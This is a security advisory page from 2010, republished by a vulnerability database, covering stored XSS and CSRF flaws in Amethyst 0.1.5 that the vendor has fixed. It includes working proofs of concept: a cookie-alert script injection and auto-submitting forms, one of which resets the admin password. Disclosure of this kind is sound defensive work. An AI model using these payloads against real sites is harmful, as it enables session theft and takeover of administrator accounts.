Lucene search
+L

Amethyst 0.1.5 Cross Site Request Forgery / Cross Site Scripting

🗓️ 06 Aug 2010 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

Vulnerability in Amethyst 0.1.5 and prior versions allows stored Cross-Site Scripting leading to compromise of sensitive dat

Code
`================================================  
Vulnerability ID: HTB22499  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst.html  
Product: Amethyst  
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )   
Vulnerable Version: 0.1.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the /browse/create_comment script to properly sanitize user-supplied input in "comment[name]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. Simple enter a string like 'mynameis<script>alert(document.cookie)</script>' in "Your Name" field of post commenting form, text of comment (like You have some mistakes in your post), fill Captcha and press "Add Comment!" button. Alert will appear when the Administrator will edit the post.  
  
Solution: Upgrade to the most recent version  
  
================================================  
Vulnerability ID: HTB22502  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html  
Product: Amethyst  
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )   
Vulnerable Version: 0.1.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied input in "post[title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/update/2" method="post" name="main" >  
  
<input type="hidden" name="post[title]" value='title"><script>alert(document.cookie)</script>' />  
<input type="hidden" name="post[content]" value="this is my post" />  
<input type="hidden" name="post[created_at(1i)]" value="2010" />  
<input type="hidden" name="post[created_at(2i)]" value="7" />  
<input type="hidden" name="post[created_at(3i)]" value="15" />  
<input type="hidden" name="post[created_at(4i)]" value="20" />  
<input type="hidden" name="post[created_at(5i)]" value="39" />  
<input type="hidden" name="post[updated_at(1i)]" value="2010" />  
<input type="hidden" name="post[updated_at(2i)]" value="7" />  
<input type="hidden" name="post[updated_at(3i)]" value="15" />  
<input type="hidden" name="post[updated_at(4i)]" value="20" />  
<input type="hidden" name="post[updated_at(5i)]" value="39" />  
<input type="hidden" name="commit" value="Create" />  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
Solution: Upgrade to the most recent version  
  
================================================  
Vulnerability ID: HTB22501  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_1.html  
Product: Amethyst  
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )   
Vulnerable Version: 0.1.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the admin/update_settings script to properly sanitize user-supplied input in "setting[site_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/update_settings" method="post" name="main" >  
  
<input type="hidden" name="setting[site_title]" value='My blog"><script>alert(document.cookie)</script>' />  
<input type="hidden" name="setting[site_description]" value="Welcome to My Amethyst Blog!" />  
<input type="hidden" name="setting[site_keywords]" value="amethyst blog, xss" />  
<input type="hidden" name="setting[enable_site_title]" value="1" />  
<input type="hidden" name="setting[posts_per_page]" value="10" />  
<input type="hidden" name="setting[archive_months_to_show]" value="12" />  
<input type="hidden" name="setting[enable_menu_archive]" value="1" />  
<input type="hidden" name="setting[enable_menu_search]" value="1" />  
<input type="hidden" name="setting[enable_menu_tools]" value="0" />  
<input type="hidden" name="setting[enable_menu_other]" value="1" />  
<input type="hidden" name="setting[item_thumbnail_width]" value="100" />  
<input type="hidden" name="setting[item_thumbnail_height]" value="100" />  
<input type="hidden" name="setting[resize_item_images]" value="0" />  
<input type="hidden" name="setting[item_image_width]" value="500" />  
<input type="hidden" name="setting[item_image_height]" value="500" />  
<input type="hidden" name="commit" value="Update Settings" />  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
Solution: Upgrade to the most recent version  
  
================================================  
Vulnerability ID: HTB22500  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_amethyst.html  
Product: Amethyst  
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )   
Vulnerable Version: 0.1.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Fixed by Vendor  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the user updating script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/update_user/1" method="post" name="main" >  
<input type="hidden" name="user[username]" value="admin" />  
<input type="hidden" name="user[first_name]" value="First Name" />  
<input type="hidden" name="user[last_name]" value="Last Name" />  
<input type="hidden" name="user[password]" value="1234" />  
<input type="hidden" name="user[password_confirmation]" value="1234" />  
<input type="hidden" name="commit" value="Update" />  
</form>  
<script>  
document.main.submit();  
</script>  
  
Solution: Upgrade to the most recent version  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation